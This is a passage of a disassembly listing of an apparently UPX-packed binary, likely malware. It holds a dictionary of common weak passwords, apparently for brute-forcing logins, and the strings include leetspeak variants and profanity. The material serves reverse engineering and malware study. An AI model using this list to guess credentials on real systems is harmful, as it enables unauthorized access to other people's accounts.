dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
dd offset aMorley ; "morley"
dd offset aMorris ; "morris"
dd offset aMortal ; "mortal"
dd offset aMortalco ; "mortalco"
dd offset aMortgage ; "mortgage"
dd offset aMosaic ; "mosaic"
dd offset aMountain ; "mountain"
dd offset aMouse ; "mouse"
dd offset aMove ; "move"
dd offset aMovie ; "movie"
dd offset aMovies ; "movies"
dd offset aMozart ; "mozart"
dd offset aMpeg ; "mpeg"
dd offset aMsdos ; "msdos"
dd offset aMuppets ; "muppets"
dd offset aMutant ; "mutant"
dd offset aNagel ; "nagel"
dd offset aName ; "name"
dd offset aNancy ; "nancy"
dd offset aNapoleon ; "napoleon"
dd offset aNasa ; "nasa"
dd offset aNavy ; "navy"
dd offset aNepenthe ; "nepenthe"
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
dd offset aNext ; "next"
dd offset aNice ; "nice"
dd offset aNicole ; "nicole"
dd offset aNicotine ; "nicotine"
dd offset aNight ; "night"
dd offset aNightmar ; "nightmar"
dd offset aNintendo ; "nintendo"
dd offset aNita ; "nita"
dd offset aNnaacp ; "nnaacp"
dd offset aNoble ; "noble"
dd offset aNobody ; "nobody"
dd offset aNode ; "node"
dd offset aNoreen ; "noreen"
dd offset aNotes ; "notes"
dd offset aNoth ; "noth"
dd offset aNova ; "nova"
dd offset aNovel ; "novel"
dd offset aNovember ; "november"
dd offset aNoxious ; "noxious"
dd offset aNuclear ; "nuclear"
dd offset aNude ; "nude"
dd offset aNuke ; "nuke"
dd offset aNukem ; "nukem"
dd offset aNull_3 ; "null"
dd offset aNumber ; "number"
dd offset aNutritio ; "nutritio"
dd offset aNuts ; "nuts"
dd offset aNyquist ; "nyquist"
dd offset aObscurit ; "obscurit"
dd offset aOceanogr ; "oceanogr"
dd offset aOcelot ; "ocelot"
dd offset aOffice ; "office"
dd offset aOkay ; "okay"
dd offset aOldage ; "oldage"
dd offset aOlivetti ; "olivetti"
dd offset aOlivia ; "olivia"
dd offset aOmega ; "omega"
dd offset aOpen ; "open"
dd offset aOpening ; "opening"
dd offset aOpenlock ; "openlock"
dd offset aOpensesa ; "opensesa"
dd offset aOperator ; "operator"
dd offset aOrca ; "orca"
dd offset aOrient ; "orient"
dd offset aOrwell ; "orwell"
dd offset aOscar ; "oscar"
dd offset aOsiris ; "osiris"
dd offset aOutdoors ; "outdoors"
dd offset aOutlaw ; "outlaw"
dd offset aOutput ; "output"
dd offset aOutside ; "outside"
dd offset aOxford ; "oxford"
dd offset aPacific ; "pacific"
dd offset aPackard ; "packard"
dd offset aPacker ; "packer"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPassphra ; "passphra"
dd offset aPaste ; "paste"
dd offset aPatricia ; "patricia"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPercolat ; "percolat"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPonderin ; "ponderin"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aQuebec ; "quebec"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRonald ; "ronald"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning_0 ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSafe ; "safe"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSaturday ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aSearch ; "search"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
dd offset aSerenity ; "serenity"
dd offset aSerial_0 ; "serial"
dd offset aService ; "service"
dd offset aSesame ; "sesame"
dd offset aSexy ; "sexy"
dd offset aShannon ; "shannon"
dd offset aSharc ; "sharc"
dd offset aShark ; "shark"
dd offset aSharks ; "sharks"
dd offset aSharon ; "sharon"
dd offset aSheffiel ; "sheffiel"
dd offset aSheldon ; "sheldon"
dd offset aShell ; "shell"
dd offset aSherri ; "sherri"
dd offset aShift ; "shift"
dd offset aShirley ; "shirley"
dd offset aShit ; "shit"
dd offset aShitpot ; "shitpot"
dd offset aShiva ; "shiva"
dd offset aShivers ; "shivers"
dd offset aShort ; "short"
dd offset aShuttle ; "shuttle"
dd offset aSick ; "sick"
dd offset aSierra ; "sierra"
dd offset aSignatur ; "signatur"
dd offset aSilver ; "silver"
dd offset aSimcity ; "simcity"
dd offset aSimon ; "simon"
dd offset aSimple ; "simple"
dd offset aSimpsons ; "simpsons"
dd offset aSimulati ; "simulati"
dd offset aSinger ; "singer"
dd offset aSingle ; "single"
dd offset aSite ; "site"
dd offset aSkull ; "skull"
dd offset aSlave ; "slave"
dd offset aSlick ; "slick"
dd offset aSliders ; "sliders"
dd offset aSlow ; "slow"
dd offset aSlut ; "slut"
dd offset aSmall ; "small"
dd offset aSmart ; "smart"
dd offset aSmile ; "smile"
dd offset aSmiles ; "smiles"
dd offset aSmooch ; "smooch"
dd offset aSmother ; "smother"
dd offset aSmtp ; "smtp"
dd offset aSmut ; "smut"
dd offset aSnach ; "snach"
dd offset aSnafu ; "snafu"
dd offset aSnake ; "snake"
dd offset aSnatch ; "snatch"
dd offset aSnoopy ; "snoopy"
dd offset aSoap ; "soap"
dd offset aSocial ; "social"
dd offset aSocrates ; "socrates"
dd offset aSodomy ; "sodomy"
dd offset aSoft ; "soft"
dd offset aSoftware ; "software"
dd offset aSomebody ; "somebody"
dd offset aSondra ; "sondra"
dd offset aSonia ; "sonia"
dd offset aSonic ; "sonic"
dd offset aSonya ; "sonya"
dd offset aSossina ; "sossina"
dd offset aSource ; "source"
dd offset aSouth ; "south"
dd offset aSpaceshi ; "spaceshi"
dd offset aSparrows ; "sparrows"
dd offset aSpear ; "spear"
dd offset aSpell ; "spell"
dd offset aSpice ; "spice"
dd offset aSpider ; "spider"
dd offset aSpiderma ; "spiderma"
dd offset aSpit ; "spit"
dd offset aSpred ; "spred"
dd offset aSpring ; "spring"
dd offset aSpringer ; "springer"
dd offset aSpunk ; "spunk"
dd offset aSquires ; "squires"
dd offset aSr71 ; "sr71"
dd offset aStacey ; "stacey"
dd offset aStaci ; "staci"
dd offset aStacie ; "stacie"
dd offset aStacy ; "stacy"
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
dd offset aStephani ; "stephani"
dd offset aStereo ; "stereo"
dd offset aSteve ; "steve"
dd offset aStoneage ; "stoneage"
dd offset aStoned ; "stoned"
dd offset aStones ; "stones"
dd offset aStrange ; "strange"
dd offset aStrangle ; "strangle"
dd offset aStratfor ; "stratfor"
dd offset aStreetfi ; "streetfi"
dd offset aString ; "string"
dd offset aStrip ; "strip"
dd offset aStudent ; "student"
dd offset aStuttgar ; "stuttgar"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSummer ; "summer"
dd offset aSunday ; "sunday"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperuse ; "superuse"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
dd offset aSysadmin ; "sysadmin"
dd offset aSysop ; "sysop"
dd offset aTabasco ; "tabasco"
dd offset aTalk ; "talk"
dd offset aTall ; "tall"
dd offset aTamara ; "tamara"
dd offset aTami ; "tami"
dd offset aTamie ; "tamie"
dd offset aTammy ; "tammy"
dd offset aTangerin ; "tangerin"
dd offset aTango ; "tango"
dd offset aTape ; "tape"
dd offset aTara ; "tara"
dd offset aTarget ; "target"
dd offset aTarragon ; "tarragon"
dd offset aTaylor ; "taylor"
dd offset aTeacher ; "teacher"
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
dd offset aTech ; "tech"
dd offset aTeen ; "teen"
dd offset aTeenage ; "teenage"
dd offset aTelephon ; "telephon"
dd offset aTelnet ; "telnet"
dd offset aTemptati ; "temptati"
dd offset aTennis ; "tennis"
dd offset aTera ; "tera"
dd offset aTerminal ; "terminal"
dd offset aTerminat ; "terminat"
dd offset aTess ; "tess"
dd offset aTetris ; "tetris"
dd offset aText ; "text"
dd offset aThailand ; "thailand"
dd offset aTheresa ; "theresa"
dd offset aThin ; "thin"
dd offset aThursday ; "thursday"
dd offset aTiffany ; "tiffany"
dd offset aTiger ; "tiger"
dd offset aTime ; "time"
dd offset aTina ; "tina"
dd offset aTits ; "tits"
dd offset aToad ; "toad"
dd offset aToggle ; "toggle"
dd offset aToken ; "token"
dd offset aTokenrin ; "tokenrin"
dd offset aTomato ; "tomato"
dd offset aTopograp ; "topograp"
dd offset aTortoise ; "tortoise"
dd offset aToxic ; "toxic"
dd offset aToyota ; "toyota"
dd offset aTraci ; "traci"
dd offset aTracie ; "tracie"
dd offset aTracy ; "tracy"
dd offset aTrails ; "trails"
dd offset aTransfer_0 ; "transfer"
dd offset aTrap ; "trap"
dd offset aTrapdoor ; "trapdoor"
dd offset aTree ; "tree"
dd offset aTrek ; "trek"
dd offset aTrisha ; "trisha"
dd offset aTrivial ; "trivial"
dd offset aTrojan ; "trojan"
dd offset aTrombone ; "trombone"
dd offset aTron ; "tron"
dd offset aTrue ; "true"
dd offset aTruth ; "truth"
dd offset aTubas ; "tubas"
dd offset aTuesday ; "tuesday"
dd offset aTurn ; "turn"
dd offset aTuttle ; "tuttle"
dd offset aUgly ; "ugly"
dd offset aUmesh ; "umesh"
dd offset aUncle ; "uncle"
dd offset aUndo ; "undo"
dd offset aUnhappy ; "unhappy"
dd offset aUnicorn ; "unicorn"
dd offset aUniform ; "uniform"
dd offset aUniversa ; "universa"
dd offset aUniverse ; "universe"
dd offset aUniversi ; "universi"
dd offset aUnknown_1 ; "unknown"
dd offset aUnlock ; "unlock"
dd offset aUpload ; "upload"
dd offset aUranus ; "uranus"
dd offset aUrchin ; "urchin"
dd offset aUrsula ; "ursula"
dd offset aUsenet ; "usenet"
dd offset aUsermane ; "usermane"
dd offset aUsername ; "username"
dd offset aUsmc ; "usmc"
dd offset aUtil ; "util"
dd offset aUtility ; "utility"
dd offset aUucp ; "uucp"
dd offset aVagina ; "vagina"
dd offset aValerie ; "valerie"
dd offset aVampire ; "vampire"
dd offset aVasant ; "vasant"
dd offset aVenus ; "venus"
dd offset aVeronica ; "veronica"
dd offset aVertigo ; "vertigo"
dd offset aVicky ; "vicky"
dd offset aVictor ; "victor"
dd offset aVideo ; "video"
dd offset aVideogam ; "videogam"
dd offset aVillage ; "village"
dd offset aVirgin ; "virgin"
dd offset aVirginia ; "virginia"
dd offset aVirus ; "virus"
dd offset aVisitor ; "visitor"
dd offset aVisual ; "visual"
dd offset aVisualba ; "visualba"
dd offset aVodka ; "vodka"
dd offset aWaco ; "waco"
dd offset aWard ; "ward"
dd offset aWarez ; "warez"
off_430050 dd offset aWarfare ; DATA XREF: UPX0:00426B70o
; "warfare"
dd offset aWargames ; "wargames"
dd offset aWarp ; "warp"
off_43005C dd offset aWarren ; DATA XREF: UPX0:off_426A0Co
; "warren"
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
dd offset aWest ; "west"
dd offset aWestern ; "western"
dd offset aWhatever ; "whatever"
dd offset aWhatnot ; "whatnot"
dd offset aWhisky ; "whisky"
dd offset aWhite ; "white"
dd offset aWhiting ; "whiting"
dd offset aWhitney ; "whitney"
dd offset aWholesal ; "wholesal"
dd offset aWhore ; "whore"
dd offset aWill ; "will"
dd offset aWilliam ; "william"
dd offset aWilliams ; "williams"
dd offset aWillie ; "willie"
dd offset aWilma ; "wilma"
dd offset aWindows ; "windows"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinston ; "winston"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWyoming ; "wyoming"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXray ; "xray"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset a00000000 ; "00000000"
dd offset aTester ; "tester"
dd offset aTestin ; "testin"
dd offset aRoss ; "Ross"
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aLol ; "lol"
dd offset aD00d ; "d00d"
dd offset aDudette ; "dudette"
dd offset aDud3 ; "dud3"
dd offset aAl3x ; "Al3x"
dd offset aAlexander ; "Alexander"
dd offset aDonaldduck ; "donaldduck"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindose ; "windose"
dd offset aBilly ; "billy"
dd offset aM_0 ; "M$"
dd offset aMs ; "MS"
dd offset aWindowsxp ; "WindowsXP"
dd offset aWindows2k ; "windows2k"
dd offset aWindowsme ; "windowsME"
dd offset aWindows98 ; "windows98"
dd offset aWindows95 ; "windows95"
dd offset aWindozexp ; "windozexp"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindozeme ; "windozeME"
dd offset aWindoze98 ; "windoze98"
dd offset aWindoze95 ; "windoze95"
dd offset aWh0r3 ; "wh0r3"
dd offset aHo ; "ho"
dd offset aWh0re ; "wh0re"
dd offset aHax ; "hax"
dd offset aHaxing ; "haxing"
dd offset aH4x1ng ; "h4x1ng"
dd offset aH4x0r1ng ; "h4x0r1ng"
dd offset aH4x0ring ; "h4x0ring"
dd offset aAda ; "ada"
dd offset aAlbatross ; "albatross"
dd offset aAlf ; "alf"
dd offset aAma ; "ama"
dd offset aAmorphous ; "amorphous"
dd offset aAmy ; "amy"
dd offset aAndromache ; "andromache"
dd offset aAnn ; "ann"
dd offset aAnthropogenic ; "anthropogenic"
dd offset aAsd ; "asd"
dd offset aAsm ; "asm"
dd offset aAtmosphere ; "atmosphere"
dd offset aBeethoven ; "beethoven"
dd offset aBicameral ; "bicameral"
dd offset aBob ; "bob"
dd offset aBsd ; "bsd"
dd offset aCad ; "cad"
dd offset aCampanile ; "campanile"
dd offset aCat ; "cat"
dd offset aCatherine ; "catherine"
dd offset aChemistry ; "chemistry"
dd offset aChristina ; "christina"
dd offset aChristine ; "christine"
dd offset aCommrades ; "commrades"
dd offset aCornelius ; "cornelius"
dd offset aDeb ; "deb"
dd offset aDesperate ; "desperate"
dd offset aDiscovery ; "discovery"
dd offset aDog ; "dog"
dd offset aDos ; "dos"
dd offset aEdinburgh ; "edinburgh"
dd offset aEiderdown ; "eiderdown"
dd offset aElizabeth ; "elizabeth"
dd offset aEnterprise ; "enterprise"
dd offset aEstablish ; "establish"
dd offset aExtension ; "extension"
dd offset aFoolproof ; "foolproof"
dd offset aForesight ; "foresight"
dd offset aFun ; "fun"
dd offset aGnu ; "gnu"
dd offset aHal ; "hal"
dd offset aHappening ; "happening"
dd offset aIbm ; "ibm"
dd offset aImbroglio ; "imbroglio"
dd offset aInnocuous ; "innocuous"
dd offset aJen ; "jen"
dd offset aJoy ; "joy"
dd offset aKey ; "key"
dd offset aKim ; "kim"
dd offset aLamination ; "lamination"
dd offset aLee ; "lee"
dd offset aLiz ; "liz"
dd offset aMacintosh ; "macintosh"
dd offset aMgr ; "mgr"
dd offset aMit ; "mit"
dd offset aNet ; "net"
dd offset aNew ; "new"
dd offset aNutrition ; "nutrition"
dd offset aOceanography ; "oceanography"
dd offset aPad ; "pad"
dd offset aPam ; "pam"
dd offset aPercolate ; "percolate"
dd offset aPersimmon ; "persimmon"
dd offset aPolynomial ; "polynomial"
dd offset aPondering ; "pondering"
dd offset aPrinceton ; "princeton"
dd offset aProfessor ; "professor"
dd offset aPub ; "pub"
dd offset aRachmaninoff ; "rachmaninoff"
dd offset aRje ; "rje"
dd offset aRochester ; "rochester"
dd offset aSal ; "sal"
dd offset aSheffield ; "sheffield"
dd offset aSignature ; "signature"
dd offset aStephanie ; "stephanie"
dd offset aStratford ; "stratford"
dd offset aStuttgart ; "stuttgart"
dd offset aSun ; "sun"
dd offset aSuperstage ; "superstage"
dd offset aSuperuser ; "superuser"
dd offset aSupported ; "supported"
dd offset aSys ; "sys"
dd offset aTangerine ; "tangerine"
dd offset aTelephone ; "telephone"
dd offset aTemptation ; "temptation"
dd offset aTopography ; "topography"
dd offset aTty ; "tty"
dd offset aWholesale ; "wholesale"
dd offset aWilliamsburg ; "williamsburg"
dd offset aWisconsin ; "wisconsin"
dd offset aXyz ; "xyz"
dd offset aYellowstone ; "yellowstone"
dd offset aZap ; "zap"
dd offset aZimmerman ; "zimmerman"
dd offset byte_4397BC
align 10h
dword_4303A0 dd 10h ; DATA XREF: sub_40BE77+72w
; sub_40EE51+B5Fr ...
aZimmerman db 'zimmerman',0 ; DATA XREF: UPX0:00430394o
align 10h
aZap db 'zap',0 ; DATA XREF: UPX0:00430390o
aYellowstone db 'yellowstone',0 ; DATA XREF: UPX0:0043038Co
aXyz db 'xyz',0 ; DATA XREF: UPX0:00430388o
aWisconsin db 'wisconsin',0 ; DATA XREF: UPX0:00430384o
align 10h
aWilliamsburg db 'williamsburg',0 ; DATA XREF: UPX0:00430380o
align 10h
aWholesale db 'wholesale',0 ; DATA XREF: UPX0:0043037Co
align 4
aTty db 'tty',0 ; DATA XREF: UPX0:00430378o
aTopography db 'topography',0 ; DATA XREF: UPX0:00430374o
align 4
aTemptation db 'temptation',0 ; DATA XREF: UPX0:00430370o
align 4
aTelephone db 'telephone',0 ; DATA XREF: UPX0:0043036Co
align 4
aTangerine db 'tangerine',0 ; DATA XREF: UPX0:00430368o
align 10h
aSys db 'sys',0 ; DATA XREF: UPX0:00430364o
aSupported db 'supported',0 ; DATA XREF: UPX0:00430360o
align 10h
aSuperuser db 'superuser',0 ; DATA XREF: UPX0:0043035Co
align 4
aSuperstage db 'superstage',0 ; DATA XREF: UPX0:00430358o
align 4
aSun db 'sun',0 ; DATA XREF: UPX0:00430354o
aStuttgart db 'stuttgart',0 ; DATA XREF: UPX0:00430350o
align 4
aStratford db 'stratford',0 ; DATA XREF: UPX0:0043034Co
align 4
aStephanie db 'stephanie',0 ; DATA XREF: UPX0:00430348o
align 10h
aSignature db 'signature',0 ; DATA XREF: UPX0:00430344o
align 4
aSheffield db 'sheffield',0 ; DATA XREF: UPX0:00430340o
align 4
aSal db 'sal',0 ; DATA XREF: UPX0:0043033Co
aRochester db 'rochester',0 ; DATA XREF: UPX0:00430338o
align 4
aRje db 'rje',0 ; DATA XREF: UPX0:00430334o
aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: UPX0:00430330o
align 4
aPub db 'pub',0 ; DATA XREF: UPX0:0043032Co
aProfessor db 'professor',0 ; DATA XREF: UPX0:00430328o
align 4
aPrinceton db 'princeton',0 ; DATA XREF: UPX0:00430324o
align 4
aPondering db 'pondering',0 ; DATA XREF: UPX0:00430320o
align 4
aPolynomial db 'polynomial',0 ; DATA XREF: UPX0:0043031Co
align 10h
aPersimmon db 'persimmon',0 ; DATA XREF: UPX0:00430318o
align 4
aPercolate db 'percolate',0 ; DATA XREF: UPX0:00430314o
align 4
aPam db 'pam',0 ; DATA XREF: UPX0:00430310o
aPad db 'pad',0 ; DATA XREF: UPX0:0043030Co
aOceanography db 'oceanography',0 ; DATA XREF: UPX0:00430308o
align 10h
aNutrition db 'nutrition',0 ; DATA XREF: UPX0:00430304o
align 4
aNew db 'new',0 ; DATA XREF: UPX0:00430300o
aNet db 'net',0 ; DATA XREF: UPX0:004302FCo
aMit db 'mit',0 ; DATA XREF: UPX0:004302F8o
aMgr db 'mgr',0 ; DATA XREF: UPX0:004302F4o
aMacintosh db 'macintosh',0 ; DATA XREF: UPX0:004302F0o
align 4
aLiz db 'liz',0 ; DATA XREF: UPX0:004302ECo
aLee db 'lee',0 ; DATA XREF: UPX0:004302E8o
aLamination db 'lamination',0 ; DATA XREF: UPX0:004302E4o
align 4
aKim db 'kim',0 ; DATA XREF: UPX0:004302E0o
aJoy db 'joy',0 ; DATA XREF: UPX0:004302D8o
aJen db 'jen',0 ; DATA XREF: UPX0:004302D4o
aInnocuous db 'innocuous',0 ; DATA XREF: UPX0:004302D0o
align 4
aImbroglio db 'imbroglio',0 ; DATA XREF: UPX0:004302CCo
align 10h
aIbm db 'ibm',0 ; DATA XREF: UPX0:004302C8o
aHappening db 'happening',0 ; DATA XREF: UPX0:004302C4o
align 10h
aHal db 'hal',0 ; DATA XREF: UPX0:004302C0o
aGnu db 'gnu',0 ; DATA XREF: UPX0:004302BCo
aFun db 'fun',0 ; DATA XREF: UPX0:004302B8o
aForesight db 'foresight',0 ; DATA XREF: UPX0:004302B4o
align 4
aFoolproof db 'foolproof',0 ; DATA XREF: UPX0:004302B0o
align 4
aExtension db 'extension',0 ; DATA XREF: UPX0:004302ACo
align 10h
aEstablish db 'establish',0 ; DATA XREF: UPX0:004302A8o
align 4
aEnterprise db 'enterprise',0 ; DATA XREF: UPX0:004302A4o
align 4
aElizabeth db 'elizabeth',0 ; DATA XREF: UPX0:004302A0o
align 4
aEiderdown db 'eiderdown',0 ; DATA XREF: UPX0:0043029Co
align 10h
aEdinburgh db 'edinburgh',0 ; DATA XREF: UPX0:00430298o
align 4
aDos db 'dos',0 ; DATA XREF: UPX0:00430294o
aDog db 'dog',0 ; DATA XREF: UPX0:00430290o
aDiscovery db 'discovery',0 ; DATA XREF: UPX0:0043028Co
align 10h
aDesperate db 'desperate',0 ; DATA XREF: UPX0:00430288o
align 4
aDeb db 'deb',0 ; DATA XREF: UPX0:00430284o
aCornelius db 'cornelius',0 ; DATA XREF: UPX0:00430280o
align 4
aCommrades db 'commrades',0 ; DATA XREF: UPX0:0043027Co
align 4
aChristine db 'christine',0 ; DATA XREF: UPX0:00430278o
align 4
aChristina db 'christina',0 ; DATA XREF: UPX0:00430274o
align 10h
